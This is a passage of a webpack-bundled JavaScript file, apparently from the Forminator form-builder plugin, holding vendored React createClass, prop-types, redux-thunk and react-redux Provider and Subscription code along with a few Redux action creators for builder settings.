return boundMethod;
}
var reboundMethod = _bind.apply(boundMethod, arguments);
reboundMethod.__reactBoundContext = component;
reboundMethod.__reactBoundMethod = method;
reboundMethod.__reactBoundArguments = args;
return reboundMethod;
};
}
return boundMethod;
}
/**
* Binds all auto-bound methods in a component.
*
* @param {object} component Component whose method is going to be bound.
*/
function bindAutoBindMethods(component) {
var pairs = component.__reactAutoBindPairs;
for (var i = 0; i < pairs.length; i += 2) {
var autoBindKey = pairs[i];
var method = pairs[i + 1];
component[autoBindKey] = bindAutoBindMethod(component, method);
}
}
var IsMountedPreMixin = {
componentDidMount: function() {
this.__isMounted = true;
}
};
var IsMountedPostMixin = {
componentWillUnmount: function() {
this.__isMounted = false;
}
};
/**
* Add more to the ReactClass base class. These are all legacy features and
* therefore not already part of the modern ReactComponent.
*/
var ReactClassMixin = {
/**
* TODO: This will be deprecated because state should always keep a consistent
* type signature and the only use case for this, is to avoid that.
*/
replaceState: function(newState, callback) {
this.updater.enqueueReplaceState(this, newState, callback);
},
/**
* Checks whether or not this composite component is mounted.
* @return {boolean} True if mounted, false otherwise.
* @protected
* @final
*/
isMounted: function() {
if (process.env.NODE_ENV !== 'production') {
warning(
this.__didWarnIsMounted,
'%s: isMounted is deprecated. Instead, make sure to clean up ' +
'subscriptions and pending requests in componentWillUnmount to ' +
'prevent memory leaks.',
(this.constructor && this.constructor.displayName) ||
this.name ||
'Component'
);
this.__didWarnIsMounted = true;
}
return !!this.__isMounted;
}
};
var ReactClassComponent = function() {};
_assign(
ReactClassComponent.prototype,
ReactComponent.prototype,
ReactClassMixin
);
/**
* Creates a composite component class given a class specification.
* See https://facebook.github.io/react/docs/top-level-api.html#react.createclass
*
* @param {object} spec Class specification (which must define `render`).
* @return {function} Component constructor function.
* @public
*/
function createClass(spec) {
// To keep our warnings more understandable, we'll use a little hack here to
// ensure that Constructor.name !== 'Constructor'. This makes sure we don't
// unnecessarily identify a class without displayName as 'Constructor'.
var Constructor = identity(function(props, context, updater) {
// This constructor gets overridden by mocks. The argument is used
// by mocks to assert on what gets mounted.
if (process.env.NODE_ENV !== 'production') {
warning(
this instanceof Constructor,
'Something is calling a React component directly. Use a factory or ' +
'JSX instead. See: https://fb.me/react-legacyfactory'
);
}
// Wire up auto-binding
if (this.__reactAutoBindPairs.length) {
bindAutoBindMethods(this);
}
this.props = props;
this.context = context;
this.refs = emptyObject;
this.updater = updater || ReactNoopUpdateQueue;
this.state = null;
// ReactClasses doesn't have constructors. Instead, they use the
// getInitialState and componentWillMount methods for initialization.
var initialState = this.getInitialState ? this.getInitialState() : null;
if (process.env.NODE_ENV !== 'production') {
// We allow auto-mocks to proceed as if they're returning null.
if (
initialState === undefined &&
this.getInitialState._isMockFunction
) {
// This is probably bad practice. Consider warning here and
// deprecating this convenience.
initialState = null;
}
}
_invariant(
typeof initialState === 'object' && !Array.isArray(initialState),
'%s.getInitialState(): must return an object or null',
Constructor.displayName || 'ReactCompositeComponent'
);
this.state = initialState;
});
Constructor.prototype = new ReactClassComponent();
Constructor.prototype.constructor = Constructor;
Constructor.prototype.__reactAutoBindPairs = [];
injectedMixins.forEach(mixSpecIntoComponent.bind(null, Constructor));
mixSpecIntoComponent(Constructor, IsMountedPreMixin);
mixSpecIntoComponent(Constructor, spec);
mixSpecIntoComponent(Constructor, IsMountedPostMixin);
// Initialize the defaultProps property after all mixins have been merged.
if (Constructor.getDefaultProps) {
Constructor.defaultProps = Constructor.getDefaultProps();
}
if (process.env.NODE_ENV !== 'production') {
// This is a tag to indicate that the use of these method names is ok,
// since it's used with createClass. If it's not, then it's likely a
// mistake so we'll warn you to use the static property, property
// initializer or constructor respectively.
if (Constructor.getDefaultProps) {
Constructor.getDefaultProps.isReactClassApproved = {};
}
if (Constructor.prototype.getInitialState) {
Constructor.prototype.getInitialState.isReactClassApproved = {};
}
}
_invariant(
Constructor.prototype.render,
'createClass(...): Class specification must implement a `render` method.'
);
if (process.env.NODE_ENV !== 'production') {
warning(
!Constructor.prototype.componentShouldUpdate,
'%s has a method called ' +
'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' +
'The name is phrased as a question because the function is ' +
'expected to return a value.',
spec.displayName || 'A component'
);
warning(
!Constructor.prototype.componentWillRecieveProps,
'%s has a method called ' +
'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?',
spec.displayName || 'A component'
);
warning(
!Constructor.prototype.UNSAFE_componentWillRecieveProps,
'%s has a method called UNSAFE_componentWillRecieveProps(). ' +
'Did you mean UNSAFE_componentWillReceiveProps()?',
spec.displayName || 'A component'
);
}
// Reduce time spent doing lookups by setting these on the prototype.
for (var methodName in ReactClassInterface) {
if (!Constructor.prototype[methodName]) {
Constructor.prototype[methodName] = null;
}
}
return Constructor;
}
return createClass;
}
module.exports = factory;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 108 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*/
var emptyObject = {};
if (process.env.NODE_ENV !== 'production') {
Object.freeze(emptyObject);
}
module.exports = emptyObject;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 109 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var updateSetting = exports.updateSetting = function updateSetting(setting, value) {
return function (dispatch) {
// Update global variable with Changes
window.forminatorChanges.settings = true;
dispatch({
type: 'UPDATE_SETTING',
setting: setting,
value: value
});
};
};
var updateSettings = exports.updateSettings = function updateSettings(settings) {
return function (dispatch) {
// Update global variable with Changes
window.forminatorChanges.settings = true;
dispatch({
type: 'UPDATE_SETTINGS',
settings: settings
});
};
};
var resetSettings = exports.resetSettings = function resetSettings(settings) {
return function (dispatch) {
// Update global variable with Changes
window.forminatorChanges.settings = true;
dispatch({
type: 'RESET_SETTINGS',
settings: settings
});
};
};
var saveBuilder = exports.saveBuilder = function saveBuilder(setting, value) {
return function (dispatch) {
// Empty global changed variable
window.forminatorChanges = {
fields: [],
settings: false,
saved: true
};
dispatch({
type: 'UPDATE_SETTING',
setting: setting,
value: value
});
};
};
/***/ }),
/* 110 */,
/* 111 */,
/* 112 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
function createThunkMiddleware(extraArgument) {
return function (_ref) {
var dispatch = _ref.dispatch,
getState = _ref.getState;
return function (next) {
return function (action) {
if (typeof action === 'function') {
return action(dispatch, getState, extraArgument);
}
return next(action);
};
};
};
}
var thunk = createThunkMiddleware();
thunk.withExtraArgument = createThunkMiddleware;
/* harmony default export */ __webpack_exports__["default"] = (thunk);
/***/ }),
/* 113 */,
/* 114 */,
/* 115 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* harmony export (immutable) */ __webpack_exports__["a"] = createProvider;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__utils_PropTypes__ = __webpack_require__(68);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__utils_warning__ = __webpack_require__(45);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var didWarnAboutReceivingStore = false;
function warnAboutReceivingStore() {
if (didWarnAboutReceivingStore) {
return;
}
didWarnAboutReceivingStore = true;
Object(__WEBPACK_IMPORTED_MODULE_3__utils_warning__["a" /* default */])('<Provider> does not support changing `store` on the fly. ' + 'It is most likely that you see this error because you updated to ' + 'Redux 2.x and React Redux 2.x which no longer hot reload reducers ' + 'automatically. See https://github.com/reactjs/react-redux/releases/' + 'tag/v2.0.0 for the migration instructions.');
}
function createProvider() {
var _Provider$childContex;
var storeKey = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'store';
var subKey = arguments[1];
var subscriptionKey = subKey || storeKey + 'Subscription';
var Provider = function (_Component) {
_inherits(Provider, _Component);
Provider.prototype.getChildContext = function getChildContext() {
var _ref;
return _ref = {}, _ref[storeKey] = this[storeKey], _ref[subscriptionKey] = null, _ref;
};
function Provider(props, context) {
_classCallCheck(this, Provider);
var _this = _possibleConstructorReturn(this, _Component.call(this, props, context));
_this[storeKey] = props.store;
return _this;
}
Provider.prototype.render = function render() {
return __WEBPACK_IMPORTED_MODULE_0_react__["Children"].only(this.props.children);
};
return Provider;
}(__WEBPACK_IMPORTED_MODULE_0_react__["Component"]);
if (process.env.NODE_ENV !== 'production') {
Provider.prototype.componentWillReceiveProps = function (nextProps) {
if (this[storeKey] !== nextProps.store) {
warnAboutReceivingStore();
}
};
}
Provider.propTypes = {
store: __WEBPACK_IMPORTED_MODULE_2__utils_PropTypes__["a" /* storeShape */].isRequired,
children: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.element.isRequired
};
Provider.childContextTypes = (_Provider$childContex = {}, _Provider$childContex[storeKey] = __WEBPACK_IMPORTED_MODULE_2__utils_PropTypes__["a" /* storeShape */].isRequired, _Provider$childContex[subscriptionKey] = __WEBPACK_IMPORTED_MODULE_2__utils_PropTypes__["b" /* subscriptionShape */], _Provider$childContex);
return Provider;
}
/* harmony default export */ __webpack_exports__["b"] = (createProvider());
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))
/***/ }),
/* 116 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
var assign = __webpack_require__(62);
var ReactPropTypesSecret = __webpack_require__(44);
var checkPropTypes = __webpack_require__(117);
var printWarning = function() {};
if (process.env.NODE_ENV !== 'production') {
printWarning = function(text) {
var message = 'Warning: ' + text;
if (typeof console !== 'undefined') {
console.error(message);
}
try {
// --- Welcome to debugging React ---
// This error was thrown as a convenience so that you can use this stack
// to find the callsite that caused this warning to fire.
throw new Error(message);
} catch (x) {}
};
}
function emptyFunctionThatReturnsNull() {
return null;
}
module.exports = function(isValidElement, throwOnDirectAccess) {
/* global Symbol */
var ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;
var FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec.
/**
* Returns the iterator method function contained on the iterable object.
*
* Be sure to invoke the function with the iterable as context:
*
* var iteratorFn = getIteratorFn(myIterable);
* if (iteratorFn) {
* var iterator = iteratorFn.call(myIterable);
* ...
* }
*
* @param {?object} maybeIterable
* @return {?function}
*/
function getIteratorFn(maybeIterable) {
var iteratorFn = maybeIterable && (ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL]);
if (typeof iteratorFn === 'function') {
return iteratorFn;
}
}
/**
* Collection of methods that allow declaration and validation of props that are
* supplied to React components. Example usage:
*
* var Props = require('ReactPropTypes');
* var MyArticle = React.createClass({
* propTypes: {
* // An optional string prop named "description".
* description: Props.string,
*
* // A required enum prop named "category".
* category: Props.oneOf(['News','Photos']).isRequired,
*
* // A prop named "dialog" that requires an instance of Dialog.
* dialog: Props.instanceOf(Dialog).isRequired
* },
* render: function() { ... }
* });
*
* A more formal specification of how these methods are used:
*
* type := array|bool|func|object|number|string|oneOf([...])|instanceOf(...)
* decl := ReactPropTypes.{type}(.isRequired)?
*
* Each and every declaration produces a function with the same signature. This
* allows the creation of custom validation functions. For example:
*
* var MyLink = React.createClass({
* propTypes: {
* // An optional string or URI prop named "href".
* href: function(props, propName, componentName) {
* var propValue = props[propName];
* if (propValue != null && typeof propValue !== 'string' &&
* !(propValue instanceof URI)) {
* return new Error(
* 'Expected a string or an URI for ' + propName + ' in ' +
* componentName
* );
* }
* }
* },
* render: function() {...}
* });
*
* @internal
*/
var ANONYMOUS = '<<anonymous>>';
// Important!
// Keep this list in sync with production version in `./factoryWithThrowingShims.js`.
var ReactPropTypes = {
array: createPrimitiveTypeChecker('array'),
bool: createPrimitiveTypeChecker('boolean'),
func: createPrimitiveTypeChecker('function'),
number: createPrimitiveTypeChecker('number'),
object: createPrimitiveTypeChecker('object'),
string: createPrimitiveTypeChecker('string'),
symbol: createPrimitiveTypeChecker('symbol'),
any: createAnyTypeChecker(),
arrayOf: createArrayOfTypeChecker,
element: createElementTypeChecker(),
instanceOf: createInstanceTypeChecker,
node: createNodeChecker(),
objectOf: createObjectOfTypeChecker,
oneOf: createEnumTypeChecker,
oneOfType: createUnionTypeChecker,
shape: createShapeTypeChecker,
exact: createStrictShapeTypeChecker,
};
/**
* inlined Object.is polyfill to avoid requiring consumers ship their own
* https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is
*/
/*eslint-disable no-self-compare*/
function is(x, y) {
// SameValue algorithm
if (x === y) {
// Steps 1-5, 7-10
// Steps 6.b-6.e: +0 != -0
return x !== 0 || 1 / x === 1 / y;
} else {
// Step 6.a: NaN == NaN
return x !== x && y !== y;
}
}
/*eslint-enable no-self-compare*/
/**
* We use an Error-like object for backward compatibility as people may call
* PropTypes directly and inspect their output. However, we don't use real
* Errors anymore. We don't inspect their stack anyway, and creating them
* is prohibitively expensive if they are created too often, such as what
* happens in oneOfType() for any type before the one that matched.
*/
function PropTypeError(message) {
this.message = message;
this.stack = '';
}
// Make `instanceof Error` still work for returned errors.
PropTypeError.prototype = Error.prototype;
function createChainableTypeChecker(validate) {
if (process.env.NODE_ENV !== 'production') {
var manualPropTypeCallCache = {};
var manualPropTypeWarningCount = 0;
}
function checkType(isRequired, props, propName, componentName, location, propFullName, secret) {
componentName = componentName || ANONYMOUS;
propFullName = propFullName || propName;
if (secret !== ReactPropTypesSecret) {
if (throwOnDirectAccess) {
// New behavior only for users of `prop-types` package
var err = new Error(
'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +
'Use `PropTypes.checkPropTypes()` to call them. ' +
'Read more at http://fb.me/use-check-prop-types'
);
err.name = 'Invariant Violation';
throw err;
} else if (process.env.NODE_ENV !== 'production' && typeof console !== 'undefined') {
// Old behavior for people using React.PropTypes
var cacheKey = componentName + ':' + propName;
if (
!manualPropTypeCallCache[cacheKey] &&
// Avoid spamming the console because they are often not actionable except for lib authors
manualPropTypeWarningCount < 3
) {
printWarning(
'You are manually calling a React.PropTypes validation ' +
'function for the `' + propFullName + '` prop on `' + componentName + '`. This is deprecated ' +
'and will throw in the standalone `prop-types` package. ' +
'You may be seeing this warning due to a third-party PropTypes ' +
'library. See https://fb.me/react-warning-dont-call-proptypes ' + 'for details.'
);
manualPropTypeCallCache[cacheKey] = true;
manualPropTypeWarningCount++;
}
}
}
if (props[propName] == null) {
if (isRequired) {
if (props[propName] === null) {
return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required ' + ('in `' + componentName + '`, but its value is `null`.'));
}
return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required in ' + ('`' + componentName + '`, but its value is `undefined`.'));
}
return null;
} else {
return validate(props, propName, componentName, location, propFullName);
}
}
var chainedCheckType = checkType.bind(null, false);
chainedCheckType.isRequired = checkType.bind(null, true);
return chainedCheckType;
}
function createPrimitiveTypeChecker(expectedType) {
function validate(props, propName, componentName, location, propFullName, secret) {
var propValue = props[propName];
var propType = getPropType(propValue);
if (propType !== expectedType) {
// `propValue` being instance of, say, date/regexp, pass the 'object'
// check, but we can offer a more precise error message here rather than
// 'of type `object`'.
var preciseType = getPreciseType(propValue);
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + preciseType + '` supplied to `' + componentName + '`, expected ') + ('`' + expectedType + '`.'));
}
return null;
}
return createChainableTypeChecker(validate);
}
function createAnyTypeChecker() {
return createChainableTypeChecker(emptyFunctionThatReturnsNull);
}
function createArrayOfTypeChecker(typeChecker) {
function validate(props, propName, componentName, location, propFullName) {
if (typeof typeChecker !== 'function') {
return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside arrayOf.');
}
var propValue = props[propName];
if (!Array.isArray(propValue)) {
var propType = getPropType(propValue);
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an array.'));
}
for (var i = 0; i < propValue.length; i++) {
var error = typeChecker(propValue, i, componentName, location, propFullName + '[' + i + ']', ReactPropTypesSecret);
if (error instanceof Error) {
return error;
}
}
return null;
}
return createChainableTypeChecker(validate);
}
function createElementTypeChecker() {
function validate(props, propName, componentName, location, propFullName) {
var propValue = props[propName];
if (!isValidElement(propValue)) {
var propType = getPropType(propValue);
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected a single ReactElement.'));
}
return null;
}
return createChainableTypeChecker(validate);
}
function createInstanceTypeChecker(expectedClass) {
function validate(props, propName, componentName, location, propFullName) {
if (!(props[propName] instanceof expectedClass)) {
var expectedClassName = expectedClass.name || ANONYMOUS;
var actualClassName = getClassName(props[propName]);
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + actualClassName + '` supplied to `' + componentName + '`, expected ') + ('instance of `' + expectedClassName + '`.'));
}
return null;
}
return createChainableTypeChecker(validate);
}
function createEnumTypeChecker(expectedValues) {
if (!Array.isArray(expectedValues)) {
process.env.NODE_ENV !== 'production' ? printWarning('Invalid argument supplied to oneOf, expected an instance of array.') : void 0;
return emptyFunctionThatReturnsNull;
}
function validate(props, propName, componentName, location, propFullName) {
var propValue = props[propName];
for (var i = 0; i < expectedValues.length; i++) {
if (is(propValue, expectedValues[i])) {
return null;
}
}
var valuesString = JSON.stringify(expectedValues);
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of value `' + propValue + '` ' + ('supplied to `' + componentName + '`, expected one of ' + valuesString + '.'));
}
return createChainableTypeChecker(validate);
}
function createObjectOfTypeChecker(typeChecker) {
function validate(props, propName, componentName, location, propFullName) {
if (typeof typeChecker !== 'function') {
return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside objectOf.');
}
var propValue = props[propName];
var propType = getPropType(propValue);
if (propType !== 'object') {
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an object.'));
}
for (var key in propValue) {
if (propValue.hasOwnProperty(key)) {
var error = typeChecker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
if (error instanceof Error) {
return error;
}
}
}
return null;
}
return createChainableTypeChecker(validate);
}
function createUnionTypeChecker(arrayOfTypeCheckers) {
if (!Array.isArray(arrayOfTypeCheckers)) {
process.env.NODE_ENV !== 'production' ? printWarning('Invalid argument supplied to oneOfType, expected an instance of array.') : void 0;
return emptyFunctionThatReturnsNull;
}
for (var i = 0; i < arrayOfTypeCheckers.length; i++) {
var checker = arrayOfTypeCheckers[i];
if (typeof checker !== 'function') {
printWarning(
'Invalid argument supplied to oneOfType. Expected an array of check functions, but ' +
'received ' + getPostfixForTypeWarning(checker) + ' at index ' + i + '.'
);
return emptyFunctionThatReturnsNull;
}
}
function validate(props, propName, componentName, location, propFullName) {
for (var i = 0; i < arrayOfTypeCheckers.length; i++) {
var checker = arrayOfTypeCheckers[i];
if (checker(props, propName, componentName, location, propFullName, ReactPropTypesSecret) == null) {
return null;
}
}
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`.'));
}
return createChainableTypeChecker(validate);
}
function createNodeChecker() {
function validate(props, propName, componentName, location, propFullName) {
if (!isNode(props[propName])) {
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`, expected a ReactNode.'));
}
return null;
}
return createChainableTypeChecker(validate);
}
function createShapeTypeChecker(shapeTypes) {
function validate(props, propName, componentName, location, propFullName) {
var propValue = props[propName];
var propType = getPropType(propValue);
if (propType !== 'object') {
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));
}
for (var key in shapeTypes) {
var checker = shapeTypes[key];
if (!checker) {
continue;
}
var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
if (error) {
return error;
}
}
return null;
}
return createChainableTypeChecker(validate);
}
function createStrictShapeTypeChecker(shapeTypes) {
function validate(props, propName, componentName, location, propFullName) {
var propValue = props[propName];
var propType = getPropType(propValue);
if (propType !== 'object') {
return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));
}
// We need to check all keys in case some are required but missing from
// props.
var allKeys = assign({}, props[propName], shapeTypes);
for (var key in allKeys) {
var checker = shapeTypes[key];
if (!checker) {
return new PropTypeError(
'Invalid ' + location + ' `' + propFullName + '` key `' + key + '` supplied to `' + componentName + '`.' +
'\nBad object: ' + JSON.stringify(props[propName], null, ' ') +
'\nValid keys: ' + JSON.stringify(Object.keys(shapeTypes), null, ' ')
);
}
var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);
if (error) {
return error;
}
}
return null;
}
return createChainableTypeChecker(validate);
}
function isNode(propValue) {
switch (typeof propValue) {
case 'number':
case 'string':
case 'undefined':
return true;
case 'boolean':
return !propValue;
case 'object':
if (Array.isArray(propValue)) {
return propValue.every(isNode);
}
if (propValue === null || isValidElement(propValue)) {
return true;
}
var iteratorFn = getIteratorFn(propValue);
if (iteratorFn) {
var iterator = iteratorFn.call(propValue);
var step;
if (iteratorFn !== propValue.entries) {
while (!(step = iterator.next()).done) {
if (!isNode(step.value)) {
return false;
}
}
} else {
// Iterator will provide entry [k,v] tuples rather than values.
while (!(step = iterator.next()).done) {
var entry = step.value;
if (entry) {
if (!isNode(entry[1])) {
return false;
}
}
}
}
} else {
return false;
}
return true;
default:
return false;
}
}
function isSymbol(propType, propValue) {
// Native Symbol.
if (propType === 'symbol') {
return true;
}
// 19.4.3.5 Symbol.prototype[@@toStringTag] === 'Symbol'
if (propValue['@@toStringTag'] === 'Symbol') {
return true;
}
// Fallback for non-spec compliant Symbols which are polyfilled.
if (typeof Symbol === 'function' && propValue instanceof Symbol) {
return true;
}
return false;
}
// Equivalent of `typeof` but with special handling for array and regexp.
function getPropType(propValue) {
var propType = typeof propValue;
if (Array.isArray(propValue)) {
return 'array';
}
if (propValue instanceof RegExp) {
// Old webkits (at least until Android 4.0) return 'function' rather than
// 'object' for typeof a RegExp. We'll normalize this here so that /bla/
// passes PropTypes.object.
return 'object';
}
if (isSymbol(propType, propValue)) {
return 'symbol';
}
return propType;
}
// This handles more types than `getPropType`. Only used for error messages.
// See `createPrimitiveTypeChecker`.
function getPreciseType(propValue) {
if (typeof propValue === 'undefined' || propValue === null) {
return '' + propValue;
}
var propType = getPropType(propValue);
if (propType === 'object') {
if (propValue instanceof Date) {
return 'date';
} else if (propValue instanceof RegExp) {
return 'regexp';
}
}
return propType;
}
// Returns a string that is postfixed to a warning about an invalid type.
// For example, "undefined" or "of type array"
function getPostfixForTypeWarning(value) {
var type = getPreciseType(value);
switch (type) {
case 'array':
case 'object':
return 'an ' + type;
case 'boolean':
case 'date':
case 'regexp':
return 'a ' + type;
default:
return type;
}
}
// Returns class name of the object, if any.
function getClassName(propValue) {
if (!propValue.constructor || !propValue.constructor.name) {
return ANONYMOUS;
}
return propValue.constructor.name;
}
ReactPropTypes.checkPropTypes = checkPropTypes;
ReactPropTypes.PropTypes = ReactPropTypes;
return ReactPropTypes;
};
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 117 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
var printWarning = function() {};
if (process.env.NODE_ENV !== 'production') {
var ReactPropTypesSecret = __webpack_require__(44);
var loggedTypeFailures = {};
printWarning = function(text) {
var message = 'Warning: ' + text;
if (typeof console !== 'undefined') {
console.error(message);
}
try {
// --- Welcome to debugging React ---
// This error was thrown as a convenience so that you can use this stack
// to find the callsite that caused this warning to fire.
throw new Error(message);
} catch (x) {}
};
}
/**
* Assert that the values match with the type specs.
* Error messages are memorized and will only be shown once.
*
* @param {object} typeSpecs Map of name to a ReactPropType
* @param {object} values Runtime values that need to be type-checked
* @param {string} location e.g. "prop", "context", "child context"
* @param {string} componentName Name of the component for error messages.
* @param {?Function} getStack Returns the component stack.
* @private
*/
function checkPropTypes(typeSpecs, values, location, componentName, getStack) {
if (process.env.NODE_ENV !== 'production') {
for (var typeSpecName in typeSpecs) {
if (typeSpecs.hasOwnProperty(typeSpecName)) {
var error;
// Prop type validation may throw. In case they do, we don't want to
// fail the render phase where it didn't fail before. So we log it.
// After these have been cleaned up, we'll let them throw.
try {
// This is intentionally an invariant that gets caught. It's the same
// behavior as without this statement except with a better message.
if (typeof typeSpecs[typeSpecName] !== 'function') {
var err = Error(
(componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' +
'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.'
);
err.name = 'Invariant Violation';
throw err;
}
error = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, ReactPropTypesSecret);
} catch (ex) {
error = ex;
}
if (error && !(error instanceof Error)) {
printWarning(
(componentName || 'React class') + ': type specification of ' +
location + ' `' + typeSpecName + '` is invalid; the type checker ' +
'function must return `null` or an `Error` but returned a ' + typeof error + '. ' +
'You may have forgotten to pass an argument to the type checker ' +
'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' +
'shape all require an argument).'
)
}
if (error instanceof Error && !(error.message in loggedTypeFailures)) {
// Only monitor this failure once because there tends to be a lot of the
// same error.
loggedTypeFailures[error.message] = true;
var stack = getStack ? getStack() : '';
printWarning(
'Failed ' + location + ' type: ' + error.message + (stack != null ? stack : '')
);
}
}
}
}
}
module.exports = checkPropTypes;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 118 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
var ReactPropTypesSecret = __webpack_require__(44);
function emptyFunction() {}
module.exports = function() {
function shim(props, propName, componentName, location, propFullName, secret) {
if (secret === ReactPropTypesSecret) {
// It is still safe when called from React.
return;
}
var err = new Error(
'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +
'Use PropTypes.checkPropTypes() to call them. ' +
'Read more at http://fb.me/use-check-prop-types'
);
err.name = 'Invariant Violation';
throw err;
};
shim.isRequired = shim;
function getShim() {
return shim;
};
// Important!
// Keep this list in sync with production version in `./factoryWithTypeCheckers.js`.
var ReactPropTypes = {
array: shim,
bool: shim,
func: shim,
number: shim,
object: shim,
string: shim,
symbol: shim,
any: shim,
arrayOf: getShim,
element: shim,
instanceOf: getShim,
node: shim,
objectOf: getShim,
oneOf: getShim,
oneOfType: getShim,
shape: getShim,
exact: getShim
};
ReactPropTypes.checkPropTypes = emptyFunction;
ReactPropTypes.PropTypes = ReactPropTypes;
return ReactPropTypes;
};
/***/ }),
/* 119 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return Subscription; });
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
// encapsulates the subscription logic for connecting a component to the redux store, as
// well as nesting subscriptions of descendant components, so that we can ensure the
// ancestor components re-render before descendants
var CLEARED = null;
var nullListeners = {
notify: function notify() {}
};
function createListenerCollection() {
// the current/next pattern is copied from redux's createStore code.
// TODO: refactor+expose that code to be reusable here?
var current = [];
var next = [];
return {
clear: function clear() {
next = CLEARED;
current = CLEARED;
},
notify: function notify() {
var listeners = current = next;
for (var i = 0; i < listeners.length; i++) {
listeners[i]();
}
},
get: function get() {
return next;
},
subscribe: function subscribe(listener) {
var isSubscribed = true;
if (next === current) next = current.slice();
next.push(listener);
return function unsubscribe() {
if (!isSubscribed || current === CLEARED) return;
isSubscribed = false;
if (next === current) next = current.slice();
next.splice(next.indexOf(listener), 1);
};
}
};
}
var Subscription = function () {
function Subscription(store, parentSub, onStateChange) {
_classCallCheck(this, Subscription);
this.store = store;
this.parentSub = parentSub;
this.onStateChange = onStateChange;
this.unsubscribe = null;
